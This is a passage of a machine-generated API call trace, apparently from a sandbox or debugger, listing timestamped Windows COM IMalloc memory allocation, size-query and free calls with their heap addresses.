IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x1c) returned 0x2764bb059c0 [0111.076] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x24) returned 0x2764bb05f30 [0111.076] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x24) returned 0x2764bb05a50 [0111.076] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x20) returned 0x2764bb06290 [0111.076] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x400) returned 0x2764b50ccf0 [0111.077] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e67a0 [0111.077] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6e60 [0111.077] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6b00 [0111.077] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e68a0 [0111.077] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6dc0 [0111.077] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6ee0 [0111.077] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6c20 [0111.077] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6ac0 [0111.077] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6ae0 [0111.077] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6e80 [0111.077] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6960 [0111.077] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6bc0 [0111.077] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6be0 [0111.077] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6f00 [0111.077] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x40) returned 0x2764b884e90 [0111.077] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b884e90) returned 0x40 [0111.089] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b884e90) [0111.089] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x40) returned 0x2764b884e90 [0111.089] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b884e90) returned 0x40 [0111.093] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b884e90) [0111.093] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb09000 [0111.093] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb09000) returned 0x8 [0111.093] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb09000) [0111.093] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb08f70 [0111.093] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb08f70) returned 0x8 [0111.094] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb08f70) [0111.094] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6f60 [0111.094] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9e6f60) returned 0x10 [0111.094] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6f60) [0111.095] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x40) returned 0x2764b884e90 [0111.095] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b884e90) returned 0x40 [0111.096] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b884e90) [0111.096] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x18) returned 0x2764b9e6f20 [0111.096] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9e6f20) returned 0x18 [0111.097] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6f20) [0111.097] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e69e0 [0111.097] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9e69e0) returned 0x10 [0111.097] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e69e0) [0111.097] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x18) returned 0x2764b9e67c0 [0111.097] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9e67c0) returned 0x18 [0111.098] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e67c0) [0111.098] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x28) returned 0x2764bb05a80 [0111.098] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb05a80) returned 0x28 [0111.099] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb05a80) [0111.099] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x28) returned 0x2764bb059f0 [0111.099] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb059f0) returned 0x28 [0111.099] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb059f0) [0111.099] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x28) returned 0x2764bb057b0 [0111.099] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb057b0) returned 0x28 [0111.100] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb057b0) [0111.100] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb09310 [0111.100] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb09310) returned 0x8 [0111.100] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb09310) [0111.100] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb09220 [0111.100] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb09220) returned 0x8 [0111.101] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb09220) [0111.101] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6b00) [0111.101] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e67a0) [0111.101] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6e60) [0111.101] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e68a0) [0111.101] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6be0) [0111.101] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6ee0) [0111.101] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6f00) [0111.101] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6bc0) [0111.101] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6960) [0111.101] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6e80) [0111.101] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6ae0) [0111.101] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6ac0) [0111.101] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6c20) [0111.101] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6dc0) [0111.101] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b50ccf0) [0111.101] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b8299b0) [0111.101] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b82a5f0) [0111.101] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb05780) [0111.101] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb05b40) [0111.101] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb05c90) [0111.101] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb06110) [0111.101] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb05de0) [0111.101] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb05840) [0111.102] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb059c0) [0111.102] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb05f30) [0111.102] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb05a50) [0111.102] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb06290) [0111.103] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x2e) returned 0x2764b82a370 [0111.104] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x1e) returned 0x2764bb05c60 [0111.104] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x20) returned 0x2764bb056f0 [0111.104] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x32) returned 0x2764b829ff0 [0111.104] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x28) returned 0x2764bb05780 [0111.104] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x2c) returned 0x2764b829e30 [0111.104] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x1e) returned 0x2764bb05930 [0111.104] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x28) returned 0x2764bb06200 [0111.104] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x28) returned 0x2764bb06290 [0111.105] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x24) returned 0x2764bb05960 [0111.105] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x24) returned 0x2764bb05ae0 [0111.105] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x22) returned 0x2764bb06230 [0111.105] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x22) returned 0x2764bb05c00 [0111.105] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x24) returned 0x2764bb06260 [0111.105] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x24) returned 0x2764bb06020 [0111.105] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x24) returned 0x2764bb05e40 [0111.105] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x24) returned 0x2764bb05c30 [0111.105] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x30) returned 0x2764b82a6b0 [0111.106] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x30) returned 0x2764b82a3f0 [0111.106] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x20) returned 0x2764bb05f90 [0111.106] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x20) returned 0x2764bb05900 [0111.106] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x20) returned 0x2764bb057e0 [0111.106] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x20) returned 0x2764bb05840 [0111.106] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x2e) returned 0x2764b82a030 [0111.106] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x1a) returned 0x2764bb061a0 [0111.106] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x1a) returned 0x2764bb05d20 [0111.107] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x22) returned 0x2764bb062c0 [0111.107] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x22) returned 0x2764bb05ba0 [0111.107] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x26) returned 0x2764bb05990 [0111.107] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x26) returned 0x2764bb057b0 [0111.107] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x22) returned 0x2764bb05c90 [0111.107] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x22) returned 0x2764bb05de0 [0111.107] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x22) returned 0x2764bb05cc0 [0111.107] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x22) returned 0x2764bb05720 [0111.107] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x2e) returned 0x2764b82a2b0 [0111.108] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x2e) returned 0x2764b82a4b0 [0111.108] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x2c) returned 0x2764b82a430 [0111.108] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x2c) returned 0x2764b82a0f0 [0111.108] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x26) returned 0x2764bb05db0 [0111.108] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x26) returned 0x2764bb05e70 [0111.108] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x24) returned 0x2764bb05ab0 [0111.108] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x24) returned 0x2764bb05750 [0111.108] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x1e) returned 0x2764bb05810 [0111.109] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x1e) returned 0x2764bb05a80 [0111.109] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x24) returned 0x2764bb05d80 [0111.109] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x24) returned 0x2764bb06170 [0111.109] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x24) returned 0x2764bb05870 [0111.109] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x2a) returned 0x2764b829830 [0111.109] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x2a) returned 0x2764b829ab0 [0111.109] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x28) returned 0x2764bb05e10 [0111.109] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x28) returned 0x2764bb05cf0 [0111.109] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x20) returned 0x2764bb06140 [0111.110] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x20) returned 0x2764bb06110 [0111.110] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x20) returned 0x2764bb05b10 [0111.110] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x30) returned 0x2764b82a0b0 [0111.110] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x30) returned 0x2764b8299f0 [0111.110] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x2c) returned 0x2764b829bb0 [0111.111] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x2c) returned 0x2764b829db0 [0111.111] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x28) returned 0x2764bb061d0 [0111.111] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x28) returned 0x2764bb05b70 [0111.111] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x1c) returned 0x2764bb05b40 [0111.111] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x1c) returned 0x2764bb060b0 [0111.111] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x1c) returned 0x2764bb058d0 [0111.111] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x22) returned 0x2764bb058a0 [0111.111] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x22) returned 0x2764bb059c0 [0111.112] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x2a) returned 0x2764b82a3b0 [0111.112] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x24) returned 0x2764bb05ea0 [0111.112] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x24) returned 0x2764bb05bd0 [0111.112] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x24) returned 0x2764bb059f0 [0111.112] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x24) returned 0x2764bb05a20 [0111.112] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x400) returned 0x2764b50f180 [0111.112] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e67a0 [0111.112] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e67e0 [0111.112] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6780 [0111.112] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e68c0 [0111.112] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6e20 [0111.113] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6a20 [0111.113] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6ae0 [0111.113] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6c40 [0111.113] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6900 [0111.113] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6980 [0111.113] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6cc0 [0111.113] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e69c0 [0111.113] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6b80 [0111.113] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6ca0 [0111.113] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6c80 [0111.113] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6d80 [0111.114] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6920 [0111.114] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6960 [0111.114] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6940 [0111.114] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6c60 [0111.114] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6ce0 [0111.114] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6880 [0111.114] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6e40 [0111.114] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e69e0 [0111.114] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6a00 [0111.114] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e67c0 [0111.114] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6b40 [0111.115] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6be0 [0111.115] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e68e0 [0111.115] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6d00 [0111.115] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6860 [0111.115] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6800 [0111.115] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6aa0 [0111.115] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6a40 [0111.115] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6d20 [0111.115] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6d40 [0111.115] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6820 [0111.116] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6da0 [0111.116] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6a60 [0111.116] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6dc0 [0111.116] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6de0 [0111.116] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6a80 [0111.116] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6ac0 [0111.117] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6b00 [0111.117] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6b20 [0111.117] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e68a0 [0111.117] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6e60 [0111.117] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6b60 [0111.117] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6ba0 [0111.117] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6bc0 [0111.117] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6ec0 [0111.117] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x18) returned 0x2764b9e6c20 [0111.117] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9e6c20) returned 0x18 [0111.117] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6c20) [0111.117] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb08f80 [0111.117] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb08f80) returned 0x8 [0111.118] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb08f80) [0111.118] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb09100 [0111.118] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb09100) returned 0x8 [0111.118] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb09100) [0111.118] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6c20 [0111.118] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9e6c20) returned 0x10 [0111.118] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6c20) [0111.118] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x20) returned 0x2764bb05ed0 [0111.118] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb05ed0) returned 0x20 [0111.118] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb05ed0) [0111.118] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x30) returned 0x2764b82a230 [0111.118] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b82a230) returned 0x30 [0111.119] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b82a230) [0111.119] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x48) returned 0x2764b884e90 [0111.119] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b884e90) returned 0x48 [0111.119] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b884e90) [0111.119] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6e80 [0111.119] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9e6e80) returned 0x10 [0111.120] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6e80) [0111.120] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb092b0 [0111.120] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb092b0) returned 0x8 [0111.121] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb092b0) [0111.121] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6e80 [0111.121] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9e6e80) returned 0x10 [0111.124] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6e80) [0111.124] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb09080 [0111.124] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb09080) returned 0x8 [0111.137] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb09080) [0111.137] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6e80 [0111.137] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9e6e80) returned 0x10 [0111.138] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6e80) [0111.138] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb08f30 [0111.138] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb08f30) returned 0x8 [0111.139] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb08f30) [0111.139] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6c20 [0111.139] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9e6c20) returned 0x10 [0111.140] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6c20) [0111.140] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb09090 [0111.140] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb09090) returned 0x8 [0111.141] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb09090) [0111.141] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6e80 [0111.141] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9e6e80) returned 0x10 [0111.144] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6e80) [0111.144] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb09200 [0111.144] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb09200) returned 0x8 [0111.147] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb09200) [0111.147] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6e80 [0111.147] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9e6e80) returned 0x10 [0111.147] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6e80) [0111.147] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb091e0 [0111.147] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb091e0) returned 0x8 [0111.147] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb091e0) [0111.147] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6f00 [0111.147] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9e6f00) returned 0x10 [0111.148] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6f00) [0111.148] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb09010 [0111.148] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb09010) returned 0x8 [0111.148] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb09010) [0111.148] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6ea0 [0111.148] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9e6ea0) returned 0x10 [0111.148] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6ea0) [0111.148] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb09200 [0111.148] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb09200) returned 0x8 [0111.148] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb09200) [0111.148] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6c20 [0111.149] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9e6c20) returned 0x10 [0111.149] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6c20) [0111.149] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6ee0 [0111.149] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9e6ee0) returned 0x10 [0111.150] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6ee0) [0111.150] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb08f90 [0111.150] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb08f90) returned 0x8 [0111.150] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb08f90) [0111.150] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6c20 [0111.150] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9e6c20) returned 0x10 [0111.151] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6c20) [0111.151] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb09030 [0111.151] IMalloc:GetSize 